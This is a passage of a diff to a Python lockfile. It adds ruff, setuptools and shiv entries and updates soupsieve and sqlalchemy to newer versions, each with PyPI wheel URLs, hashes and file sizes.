"sha256:7c8661b0be91a38bd56db593e9331beaf9064a79028adee2d5f392674bbc5e88", size = 10247944, upload-time = "2025-03-14T13:52:02.318Z" }, + { url = "https://files.pythonhosted.org/packages/9f/52/59e0a9f2cf1ce5e6cbe336b6dd0144725c8ea3b97cac60688f4e7880bf13/ruff-0.11.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b6c0e8d3d2db7e9f6efd884f44b8dc542d5b6b590fc4bb334fdbc624d93a29a2", size = 10421725, upload-time = "2025-03-14T13:52:04.303Z" }, + { url = "https://files.pythonhosted.org/packages/a6/c3/dcd71acc6dff72ce66d13f4be5bca1dbed4db678dff2f0f6f307b04e5c02/ruff-0.11.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c3156d3f4b42e57247275a0a7e15a851c165a4fc89c5e8fa30ea6da4f7407b8", size = 9954435, upload-time = "2025-03-14T13:52:06.602Z" }, + { url = "https://files.pythonhosted.org/packages/a6/9a/342d336c7c52dbd136dee97d4c7797e66c3f92df804f8f3b30da59b92e9c/ruff-0.11.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:490b1e147c1260545f6d041c4092483e3f6d8eba81dc2875eaebcf9140b53905", size = 11492664, upload-time = "2025-03-14T13:52:08.613Z" }, + { url = "https://files.pythonhosted.org/packages/84/35/6e7defd2d7ca95cc385ac1bd9f7f2e4a61b9cc35d60a263aebc8e590c462/ruff-0.11.0-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:1bc09a7419e09662983b1312f6fa5dab829d6ab5d11f18c3760be7ca521c9329", size = 12207856, upload-time = "2025-03-14T13:52:11.019Z" }, + { url = "https://files.pythonhosted.org/packages/22/78/da669c8731bacf40001c880ada6d31bcfb81f89cc996230c3b80d319993e/ruff-0.11.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bcfa478daf61ac8002214eb2ca5f3e9365048506a9d52b11bea3ecea822bb844", size = 11645156, upload-time = "2025-03-14T13:52:13.383Z" }, + { url = "https://files.pythonhosted.org/packages/ee/47/e27d17d83530a208f4a9ab2e94f758574a04c51e492aa58f91a3ed7cbbcb/ruff-0.11.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6fbb2aed66fe742a6a3a0075ed467a459b7cedc5ae01008340075909d819df1e", size = 13884167, upload-time = "2025-03-14T13:52:15.528Z" }, + { url = "https://files.pythonhosted.org/packages/9f/5e/42ffbb0a5d4b07bbc642b7d58357b4e19a0f4774275ca6ca7d1f7b5452cd/ruff-0.11.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:92c0c1ff014351c0b0cdfdb1e35fa83b780f1e065667167bb9502d47ca41e6db", size = 11348311, upload-time = "2025-03-14T13:52:18.088Z" }, + { url = "https://files.pythonhosted.org/packages/c8/51/dc3ce0c5ce1a586727a3444a32f98b83ba99599bb1ebca29d9302886e87f/ruff-0.11.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e4fd5ff5de5f83e0458a138e8a869c7c5e907541aec32b707f57cf9a5e124445", size = 10305039, upload-time = "2025-03-14T13:52:20.476Z" }, + { url = "https://files.pythonhosted.org/packages/60/e0/475f0c2f26280f46f2d6d1df1ba96b3399e0234cf368cc4c88e6ad10dcd9/ruff-0.11.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:96bc89a5c5fd21a04939773f9e0e276308be0935de06845110f43fd5c2e4ead7", size = 9937939, upload-time = "2025-03-14T13:52:22.798Z" }, + { url = "https://files.pythonhosted.org/packages/e2/d3/3e61b7fd3e9cdd1e5b8c7ac188bec12975c824e51c5cd3d64caf81b0331e/ruff-0.11.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a9352b9d767889ec5df1483f94870564e8102d4d7e99da52ebf564b882cdc2c7", size = 10923259, upload-time = "2025-03-14T13:52:24.89Z" }, + { url = "https://files.pythonhosted.org/packages/30/32/cd74149ebb40b62ddd14bd2d1842149aeb7f74191fb0f49bd45c76909ff2/ruff-0.11.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:049a191969a10897fe052ef9cc7491b3ef6de79acd7790af7d7897b7a9bfbcb6", size = 11406212, upload-time = "2025-03-14T13:52:27.493Z" }, + { url = "https://files.pythonhosted.org/packages/00/ef/033022a6b104be32e899b00de704d7c6d1723a54d4c9e09d147368f14b62/ruff-0.11.0-py3-none-win32.whl", hash = "sha256:3191e9116b6b5bbe187447656f0c8526f0d36b6fd89ad78ccaad6bdc2fad7df2", size = 10310905, upload-time = "2025-03-14T13:52:30.46Z" }, + { url = "https://files.pythonhosted.org/packages/ed/8a/163f2e78c37757d035bd56cd60c8d96312904ca4a6deeab8442d7b3cbf89/ruff-0.11.0-py3-none-win_amd64.whl", hash = "sha256:c58bfa00e740ca0a6c43d41fb004cd22d165302f360aaa56f7126d544db31a21", size = 11411730, upload-time = "2025-03-14T13:52:32.508Z" }, + { url = "https://files.pythonhosted.org/packages/4e/f7/096f6efabe69b49d7ca61052fc70289c05d8d35735c137ef5ba5ef423662/ruff-0.11.0-py3-none-win_arm64.whl", hash = "sha256:868364fc23f5aa122b00c6f794211e85f7e78f5dffdf7c590ab90b8c4e69b657", size = 10538956, upload-time = "2025-03-14T13:52:34.491Z" }, +] + +[[package]] +name = "setuptools" +version = "83.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/34/26/f5d29e25ffdb535afef2d35cdb55b325298f96debd670da4c325e08d70f4/setuptools-83.0.0.tar.gz", hash = "sha256:025bccbbf0fa05b6192bc64ae1e7b16e001fd6d6d4d5de03c97b1c1ade523bef", size = 1154254, upload-time = "2026-07-04T15:31:22.699Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/40/e1e72872c6354b306daef1703549e8e83b4d43cfea356311bf722a043752/setuptools-83.0.0-py3-none-any.whl", hash = "sha256:29b23c360f22f414dc7336bb39178cc7bcbf6021ed2733cde173f09dba19abb3", size = 1008090, upload-time = "2026-07-04T15:31:20.885Z" }, +] + +[[package]] +name = "shiv" +version = "1.0.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "pip" }, + { name = "setuptools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/85/004e7123b4821c64be6d9bfed27f63147b4dde929a1cd848f137befeada4/shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6", size = 32806, upload-time = "2024-11-01T19:47:46.189Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/ec/afbb46f7c1ab071a50d92424daf149420ca1f0e02dc51239485747151d6c/shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24", size = 20516, upload-time = "2024-11-01T19:47:45.061Z" }, +] + [[package]] name = "six" version = "1.17.0" @@ -1890,71 +2044,66 @@ wheels = [ [[package]] name = "soupsieve" -version = "2.8.3" +version = "2.8.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/7b/ae/2d9c981590ed9999a0d91755b47fc74f74de286b0f5cee14c9269041e6c4/soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349", size = 118627, upload-time = "2026-01-20T04:27:02.457Z" } +sdist = { url = "https://files.pythonhosted.org/packages/47/2c/0a5f6f8ee0d5589e48c7640213ed5175d52cf540a06725b628cc1a45d6ce/soupsieve-2.8.4.tar.gz", hash = "sha256:e121fd02e975c695e4e9e8774a5ee35d74714b59307868dcc5319ad2d9e3328e", size = 121110, upload-time = "2026-05-24T13:55:57.154Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/46/2c/1462b1d0a634697ae9e55b3cecdcb64788e8b7d63f54d923fcd0bb140aed/soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95", size = 37016, upload-time = "2026-01-20T04:27:01.012Z" }, + { url = "https://files.pythonhosted.org/packages/5e/f5/0c41cb68dcae6b7de4fac4188a3a9589e21fb31df21ea3a2e888db95e6c9/soupsieve-2.8.4-py3-none-any.whl", hash = "sha256:e7e6b0769c8f51ed59acab6e994b00621096cfb1c640a7509295987388fbaf65", size = 37304, upload-time = "2026-05-24T13:55:55.406Z" }, ] [[package]] name = "sqlalchemy" -version = "2.0.49" +version = "2.0.51" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/09/45/461788f35e0364a8da7bda51a1fe1b09762d0c32f12f63727998d85a873b/sqlalchemy-2.0.49.tar.gz", hash = "sha256:d15950a57a210e36dd4cec1aac22787e2a4d57ba9318233e2ef8b2daf9ff2d5f", size = 9898221, upload-time = "2026-04-03T16:38:11.704Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/96/76/f908955139842c362aa877848f42f9249642d5b69e06cee9eae5111da1bd/sqlalchemy-2.0.49-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:42e8804962f9e6f4be2cbaedc0c3718f08f60a16910fa3d86da5a1e3b1bfe60f", size = 2159321, upload-time = "2026-04-03T16:50:11.8Z" }, - { url = "https://files.pythonhosted.org/packages/24/e2/17ba0b7bfbd8de67196889b6d951de269e8a46057d92baca162889beb16d/sqlalchemy-2.0.49-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc992c6ed024c8c3c592c5fc9846a03dd68a425674900c70122c77ea16c5fb0b", size = 3238937, upload-time = "2026-04-03T16:54:45.731Z" }, - { url = "https://files.pythonhosted.org/packages/90/1e/410dd499c039deacff395eec01a9da057125fcd0c97e3badc252c6a2d6a7/sqlalchemy-2.0.49-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6eb188b84269f357669b62cb576b5b918de10fb7c728a005fa0ebb0b758adce1", size = 3237188, upload-time = "2026-04-03T16:56:53.217Z" }, - { url = "https://files.pythonhosted.org/packages/ab/06/e797a8b98a3993ac4bc785309b9b6d005457fc70238ee6cefa7c8867a92e/sqlalchemy-2.0.49-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:62557958002b69699bdb7f5137c6714ca1133f045f97b3903964f47db97ea339", size = 3190061, upload-time = "2026-04-03T16:54:47.489Z" }, - { url = "https://files.pythonhosted.org/packages/44/d3/5a9f7ef580af1031184b38235da6ac58c3b571df01c9ec061c44b2b0c5a6/sqlalchemy-2.0.49-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:da9b91bca419dc9b9267ffadde24eae9b1a6bffcd09d0a207e5e3af99a03ce0d", size = 3211477, upload-time = "2026-04-03T16:56:55.056Z" }, - { url = "https://files.pythonhosted.org/packages/69/ec/7be8c8cb35f038e963a203e4fe5a028989167cc7299927b7cf297c271e37/sqlalchemy-2.0.49-cp310-cp310-win32.whl", hash = "sha256:5e61abbec255be7b122aa461021daa7c3f310f3e743411a67079f9b3cc91ece3", size = 2119965, upload-time = "2026-04-03T17:00:50.009Z" }, - { url = "https://files.pythonhosted.org/packages/b5/31/0defb93e3a10b0cf7d1271aedd87251a08c3a597ee4f353281769b547b5a/sqlalchemy-2.0.49-cp310-cp310-win_amd64.whl", hash = "sha256:0c98c59075b890df8abfcc6ad632879540f5791c68baebacb4f833713b510e75", size = 2142935, upload-time = "2026-04-03T17:00:51.675Z" }, - { url = "https://files.pythonhosted.org/packages/60/b5/e3617cc67420f8f403efebd7b043128f94775e57e5b84e7255203390ceae/sqlalchemy-2.0.49-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5070135e1b7409c4161133aa525419b0062088ed77c92b1da95366ec5cbebbe", size = 2159126, upload-time = "2026-04-03T16:50:13.242Z" }, - { url = "https://files.pythonhosted.org/packages/20/9b/91ca80403b17cd389622a642699e5f6564096b698e7cdcbcbb6409898bc4/sqlalchemy-2.0.49-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ac7a3e245fd0310fd31495eb61af772e637bdf7d88ee81e7f10a3f271bff014", size = 3315509, upload-time = "2026-04-03T16:54:49.332Z" }, - { url = "https://files.pythonhosted.org/packages/b1/61/0722511d98c54de95acb327824cb759e8653789af2b1944ab1cc69d32565/sqlalchemy-2.0.49-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d4e5a0ceba319942fa6b585cf82539288a61e314ef006c1209f734551ab9536", size = 3315014, upload-time = "2026-04-03T16:56:56.376Z" }, - { url = "https://files.pythonhosted.org/packages/46/55/d514a653ffeb4cebf4b54c47bec32ee28ad89d39fafba16eeed1d81dccd5/sqlalchemy-2.0.49-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3ddcb27fb39171de36e207600116ac9dfd4ae46f86c82a9bf3934043e80ebb88", size = 3267388, upload-time = "2026-04-03T16:54:51.272Z" }, - { url = "https://files.pythonhosted.org/packages/2f/16/0dcc56cb6d3335c1671a2258f5d2cb8267c9a2260e27fde53cbfb1b3540a/sqlalchemy-2.0.49-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:32fe6a41ad97302db2931f05bb91abbcc65b5ce4c675cd44b972428dd2947700", size = 3289602, upload-time = "2026-04-03T16:56:57.63Z" }, - { url = "https://files.pythonhosted.org/packages/51/6c/f8ab6fb04470a133cd80608db40aa292e6bae5f162c3a3d4ab19544a67af/sqlalchemy-2.0.49-cp311-cp311-win32.whl", hash = "sha256:46d51518d53edfbe0563662c96954dc8fcace9832332b914375f45a99b77cc9a", size = 2119044, upload-time = "2026-04-03T17:00:53.455Z" }, - { url = "https://files.pythonhosted.org/packages/c4/59/55a6d627d04b6ebb290693681d7683c7da001eddf90b60cfcc41ee907978/sqlalchemy-2.0.49-cp311-cp311-win_amd64.whl", hash = "sha256:951d4a210744813be63019f3df343bf233b7432aadf0db54c75802247330d3af", size = 2143642, upload-time = "2026-04-03T17:00:54.769Z" }, - { url = "https://files.pythonhosted.org/packages/49/b3/2de412451330756aaaa72d27131db6dde23995efe62c941184e15242a5fa/sqlalchemy-2.0.49-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4bbccb45260e4ff1b7db0be80a9025bb1e6698bdb808b83fff0000f7a90b2c0b", size = 2157681, upload-time = "2026-04-03T16:53:07.132Z" }, - { url = "https://files.pythonhosted.org/packages/50/84/b2a56e2105bd11ebf9f0b93abddd748e1a78d592819099359aa98134a8bf/sqlalchemy-2.0.49-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fb37f15714ec2652d574f021d479e78cd4eb9d04396dca36568fdfffb3487982", size = 3338976, upload-time = "2026-04-03T17:07:40Z" }, - { url = "https://files.pythonhosted.org/packages/2c/fa/65fcae2ed62f84ab72cf89536c7c3217a156e71a2c111b1305ab6f0690e2/sqlalchemy-2.0.49-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3bb9ec6436a820a4c006aad1ac351f12de2f2dbdaad171692ee457a02429b672", size = 3351937, upload-time = "2026-04-03T17:12:23.374Z" }, - { url = "https://files.pythonhosted.org/packages/f8/2f/6fd118563572a7fe475925742eb6b3443b2250e346a0cc27d8d408e73773/sqlalchemy-2.0.49-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8d6efc136f44a7e8bc8088507eaabbb8c2b55b3dbb63fe102c690da0ddebe55e", size = 3281646, upload-time = "2026-04-03T17:07:41.949Z" }, - { url = "https://files.pythonhosted.org/packages/c5/d7/410f4a007c65275b9cf82354adb4bb8ba587b176d0a6ee99caa16fe638f8/sqlalchemy-2.0.49-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e06e617e3d4fd9e51d385dfe45b077a41e9d1b033a7702551e3278ac597dc750", size = 3316695, upload-time = "2026-04-03T17:12:25.642Z" }, - { url = "https://files.pythonhosted.org/packages/d9/95/81f594aa60ded13273a844539041ccf1e66c5a7bed0a8e27810a3b52d522/sqlalchemy-2.0.49-cp312-cp312-win32.whl", hash = "sha256:83101a6930332b87653886c01d1ee7e294b1fe46a07dd9a2d2b4f91bcc88eec0", size = 2117483, upload-time = "2026-04-03T17:05:40.896Z" }, - { url = "https://files.pythonhosted.org/packages/47/9e/fd90114059175cac64e4fafa9bf3ac20584384d66de40793ae2e2f26f3bb/sqlalchemy-2.0.49-cp312-cp312-win_amd64.whl", hash = "sha256:618a308215b6cececb6240b9abde545e3acdabac7ae3e1d4e666896bf5ba44b4", size = 2144494, upload-time = "2026-04-03T17:05:42.282Z" }, - { url = "https://files.pythonhosted.org/packages/ae/81/81755f50eb2478eaf2049728491d4ea4f416c1eb013338682173259efa09/sqlalchemy-2.0.49-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:df2d441bacf97022e81ad047e1597552eb3f83ca8a8f1a1fdd43cd7fe3898120", size = 2154547, upload-time = "2026-04-03T16:53:08.64Z" }, - { url = "https://files.pythonhosted.org/packages/a2/bc/3494270da80811d08bcfa247404292428c4fe16294932bce5593f215cad9/sqlalchemy-2.0.49-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8e20e511dc15265fb433571391ba313e10dd8ea7e509d51686a51313b4ac01a2", size = 3280782, upload-time = "2026-04-03T17:07:43.508Z" }, - { url = "https://files.pythonhosted.org/packages/cd/f5/038741f5e747a5f6ea3e72487211579d8cbea5eb9827a9cbd61d0108c4bd/sqlalchemy-2.0.49-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47604cb2159f8bbd5a1ab48a714557156320f20871ee64d550d8bf2683d980d3", size = 3297156, upload-time = "2026-04-03T17:12:27.697Z" }, - { url = "https://files.pythonhosted.org/packages/88/50/a6af0ff9dc954b43a65ca9b5367334e45d99684c90a3d3413fc19a02d43c/sqlalchemy-2.0.49-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:22d8798819f86720bc646ab015baff5ea4c971d68121cb36e2ebc2ee43ead2b7", size = 3228832, upload-time = "2026-04-03T17:07:45.38Z" }, - { url = "https://files.pythonhosted.org/packages/bc/d1/5f6bdad8de0bf546fc74370939621396515e0cdb9067402d6ba1b8afbe9a/sqlalchemy-2.0.49-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9b1c058c171b739e7c330760044803099c7fff11511e3ab3573e5327116a9c33", size = 3267000, upload-time = "2026-04-03T17:12:29.657Z" }, - { url = "https://files.pythonhosted.org/packages/f7/30/ad62227b4a9819a5e1c6abff77c0f614fa7c9326e5a3bdbee90f7139382b/sqlalchemy-2.0.49-cp313-cp313-win32.whl", hash = "sha256:a143af2ea6672f2af3f44ed8f9cd020e9cc34c56f0e8db12019d5d9ecf41cb3b", size = 2115641, upload-time = "2026-04-03T17:05:43.989Z" }, - { url = "https://files.pythonhosted.org/packages/17/3a/7215b1b7d6d49dc9a87211be44562077f5f04f9bb5a59552c1c8e2d98173/sqlalchemy-2.0.49-cp313-cp313-win_amd64.whl", hash = "sha256:12b04d1db2663b421fe072d638a138460a51d5a862403295671c4f3987fb9148", size = 2141498, upload-time = "2026-04-03T17:05:45.7Z" }, - { url = "https://files.pythonhosted.org/packages/28/4b/52a0cb2687a9cd1648252bb257be5a1ba2c2ded20ba695c65756a55a15a4/sqlalchemy-2.0.49-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:24bd94bb301ec672d8f0623eba9226cc90d775d25a0c92b5f8e4965d7f3a1518", size = 3560807, upload-time = "2026-04-03T16:58:31.666Z" }, - { url = "https://files.pythonhosted.org/packages/8c/d8/fda95459204877eed0458550d6c7c64c98cc50c2d8d618026737de9ed41a/sqlalchemy-2.0.49-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a51d3db74ba489266ef55c7a4534eb0b8db9a326553df481c11e5d7660c8364d", size = 3527481, upload-time = "2026-04-03T17:06:00.155Z" }, - { url = "https://files.pythonhosted.org/packages/ff/0a/2aac8b78ac6487240cf7afef8f203ca783e8796002dc0cf65c4ee99ff8bb/sqlalchemy-2.0.49-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:55250fe61d6ebfd6934a272ee16ef1244e0f16b7af6cd18ab5b1fc9f08631db0", size = 3468565, upload-time = "2026-04-03T16:58:33.414Z" }, - { url = "https://files.pythonhosted.org/packages/a5/3d/ce71cfa82c50a373fd2148b3c870be05027155ce791dc9a5dcf439790b8b/sqlalchemy-2.0.49-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:46796877b47034b559a593d7e4b549aba151dae73f9e78212a3478161c12ab08", size = 3477769, upload-time = "2026-04-03T17:06:02.787Z" }, - { url = "https://files.pythonhosted.org/packages/d5/e8/0a9f5c1f7c6f9ca480319bf57c2d7423f08d31445974167a27d14483c948/sqlalchemy-2.0.49-cp313-cp313t-win32.whl", hash = "sha256:9c4969a86e41454f2858256c39bdfb966a20961e9b58bf8749b65abf447e9a8d", size = 2143319, upload-time = "2026-04-03T17:02:04.328Z" }, - { url = "https://files.pythonhosted.org/packages/0e/51/fb5240729fbec73006e137c4f7a7918ffd583ab08921e6ff81a999d6517a/sqlalchemy-2.0.49-cp313-cp313t-win_amd64.whl", hash = "sha256:b9870d15ef00e4d0559ae10ee5bc71b654d1f20076dbe8bc7ed19b4c0625ceba", size = 2175104, upload-time = "2026-04-03T17:02:05.989Z" }, - { url = "https://files.pythonhosted.org/packages/55/33/bf28f618c0a9597d14e0b9ee7d1e0622faff738d44fe986ee287cdf1b8d0/sqlalchemy-2.0.49-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:233088b4b99ebcbc5258c755a097aa52fbf90727a03a5a80781c4b9c54347a2e", size = 2156356, upload-time = "2026-04-03T16:53:09.914Z" }, - { url = "https://files.pythonhosted.org/packages/d1/a7/5f476227576cb8644650eff68cc35fa837d3802b997465c96b8340ced1e2/sqlalchemy-2.0.49-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:57ca426a48eb2c682dae8204cd89ea8ab7031e2675120a47924fabc7caacbc2a", size = 3276486, upload-time = "2026-04-03T17:07:46.9Z" }, - { url = "https://files.pythonhosted.org/packages/2e/84/efc7c0bf3a1c5eef81d397f6fddac855becdbb11cb38ff957888603014a7/sqlalchemy-2.0.49-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:685e93e9c8f399b0c96a624799820176312f5ceef958c0f88215af4013d29066", size = 3281479, upload-time = "2026-04-03T17:12:32.226Z" }, - { url = "https://files.pythonhosted.org/packages/91/68/bb406fa4257099c67bd75f3f2261b129c63204b9155de0d450b37f004698/sqlalchemy-2.0.49-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e0400fa22f79acc334d9a6b185dc00a44a8e6578aa7e12d0ddcd8434152b187", size = 3226269, upload-time = "2026-04-03T17:07:48.678Z" }, - { url = "https://files.pythonhosted.org/packages/67/84/acb56c00cca9f251f437cb49e718e14f7687505749ea9255d7bd8158a6df/sqlalchemy-2.0.49-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a05977bffe9bffd2229f477fa75eabe3192b1b05f408961d1bebff8d1cd4d401", size = 3248260, upload-time = "2026-04-03T17:12:34.381Z" }, - { url = "https://files.pythonhosted.org/packages/56/19/6a20ea25606d1efd7bd1862149bb2a22d1451c3f851d23d887969201633f/sqlalchemy-2.0.49-cp314-cp314-win32.whl", hash = "sha256:0f2fa354ba106eafff2c14b0cc51f22801d1e8b2e4149342023bd6f0955de5f5", size = 2118463, upload-time = "2026-04-03T17:05:47.093Z" }, - { url = "https://files.pythonhosted.org/packages/cf/4f/8297e4ed88e80baa1f5aa3c484a0ee29ef3c69c7582f206c916973b75057/sqlalchemy-2.0.49-cp314-cp314-win_amd64.whl", hash = "sha256:77641d299179c37b89cf2343ca9972c88bb6eef0d5fc504a2f86afd15cd5adf5", size = 2144204, upload-time = "2026-04-03T17:05:48.694Z" }, - { url = "https://files.pythonhosted.org/packages/1f/33/95e7216df810c706e0cd3655a778604bbd319ed4f43333127d465a46862d/sqlalchemy-2.0.49-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c1dc3368794d522f43914e03312202523cc89692f5389c32bea0233924f8d977", size = 3565474, upload-time = "2026-04-03T16:58:35.128Z" }, - { url = "https://files.pythonhosted.org/packages/0c/a4/ed7b18d8ccf7f954a83af6bb73866f5bc6f5636f44c7731fbb741f72cc4f/sqlalchemy-2.0.49-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7c821c47ecfe05cc32140dcf8dc6fd5d21971c86dbd56eabfe5ba07a64910c01", size = 3530567, upload-time = "2026-04-03T17:06:04.587Z" }, - { url = "https://files.pythonhosted.org/packages/73/a3/20faa869c7e21a827c4a2a42b41353a54b0f9f5e96df5087629c306df71e/sqlalchemy-2.0.49-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:9c04bff9a5335eb95c6ecf1c117576a0aa560def274876fd156cfe5510fccc61", size = 3474282, upload-time = "2026-04-03T16:58:37.131Z" }, - { url = "https://files.pythonhosted.org/packages/b7/50/276b9a007aa0764304ad467eceb70b04822dc32092492ee5f322d559a4dc/sqlalchemy-2.0.49-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7f605a456948c35260e7b2a39f8952a26f077fd25653c37740ed186b90aaa68a", size = 3480406, upload-time = "2026-04-03T17:06:07.176Z" }, - { url = "https://files.pythonhosted.org/packages/e5/c3/c80fcdb41905a2df650c2a3e0337198b6848876e63d66fe9188ef9003d24/sqlalchemy-2.0.49-cp314-cp314t-win32.whl", hash = "sha256:6270d717b11c5476b0cbb21eedc8d4dbb7d1a956fd6c15a23e96f197a6193158", size = 2149151, upload-time = "2026-04-03T17:02:07.281Z" }, - { url = "https://files.pythonhosted.org/packages/05/52/9f1a62feab6ed368aff068524ff414f26a6daebc7361861035ae00b05530/sqlalchemy-2.0.49-cp314-cp314t-win_amd64.whl", hash = "sha256:275424295f4256fd301744b8f335cff367825d270f155d522b30c7bf49903ee7", size = 2184178, upload-time = "2026-04-03T17:02:08.623Z" }, - { url = "https://files.pythonhosted.org/packages/e5/30/8519fdde58a7bdf155b714359791ad1dc018b47d60269d5d160d311fdc36/sqlalchemy-2.0.49-py3-none-any.whl", hash = "sha256:ec44cfa7ef1a728e88ad41674de50f6db8cfdb3e2af84af86e0041aaf02d43d0", size = 1942158, upload-time = "2026-04-03T16:53:44.135Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/02/f1/a7a892f18d4d224e6b26f706531eafccc41e37594d37d304786969ee13cb/sqlalchemy-2.0.51.tar.gz", hash = "sha256:804dccd8a4a6242c4e30ad961e540e18a588f6527202f2d6791b01845d59fdc9", size = 9912201, upload-time = "2026-06-15T15:41:20.012Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/76/b3ea1d8842e7b62c718a88d302809003d65ed82011460ca48907dde658c4/sqlalchemy-2.0.51-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e8203d2fbd5c6254692ef0a72c740d75b2f3c7ca345404f4c1a4604813c77c0", size = 2162087, upload-time = "2026-06-15T16:05:15.795Z" }, + { url = "https://files.pythonhosted.org/packages/6c/22/f19552eb7876774d50cfd025337ef5d67acc10cd8f29adab7716cf47c352/sqlalchemy-2.0.51-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1af05726b3d0cdba1c55284bf408fd3b792e690fe2399bfb8304565551cda652", size = 3244579, upload-time = "2026-06-15T16:10:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/fc/97/e4a2eb5a8ec5cd3c2a0615a2f15f0afca89ac039229599b9ed0c0ed28e5e/sqlalchemy-2.0.51-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e54ff2dd657f2e3e0fbf2b097db1182f7bfea263eca4353f00065bae2a67c3d", size = 3243515, upload-time = "2026-06-15T16:12:22.627Z" }, + { url = "https://files.pythonhosted.org/packages/74/c6/5900ec624fab3360aa2ec59b99bb2046dd79799e310bb78a0514eaa4038e/sqlalchemy-2.0.51-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1e47b1199c2e832e325eacabc8d32d2487f58c9358f97e9a00f5eb93c5680d84", size = 3195492, upload-time = "2026-06-15T16:10:38.097Z" }, + { url = "https://files.pythonhosted.org/packages/8f/41/2ee3c4e1ac4fd22309349823fe13f33febeab1a71db1d7e9d60293a07dcb/sqlalchemy-2.0.51-cp310-cp310-musllinux_1_2_x86_64.whl", hash = 